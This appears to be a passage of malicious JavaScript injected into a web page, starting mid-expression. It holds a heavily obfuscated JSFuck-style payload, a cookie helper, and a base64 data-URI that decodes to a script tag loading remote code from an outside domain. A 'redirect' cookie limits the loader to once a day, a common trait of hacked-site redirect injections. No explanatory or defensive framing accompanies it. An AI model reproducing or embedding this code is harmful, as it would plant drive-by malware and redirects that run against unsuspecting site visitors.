]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[14]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+$[23]+$[24]+$[25]+$[13]+(![]+[])[+[]]+$[26]+$[0]+$[13]+$[8]+$[3]+$[14]+$[27]+(!![]+[])[!+[]+!+[]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[28]+$[29]+$[30]+$[31]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[32]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+$[27]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+$[27]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[33]+$[35]+$[35]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[36]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+$[35]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[37]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[34]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[39]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[36]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[20]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[3]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+$[17]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[40]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[36]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[37]+$[9]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[11]+$[40]+$[9]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[33]+$[34]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[44]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[44]+$[14]+$[27]+$[27]+$[45]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[44]+$[14]+$[27]+$[27]+$[45]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[46]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[44]+$[24]+$[27]+$[27]+$[27]+$[27]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[44]+$[27]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+$[44]+$[27]+$[5]+$[33]+$[47]+$[32]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[47]+$[9]+$[6]+$[48])();
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}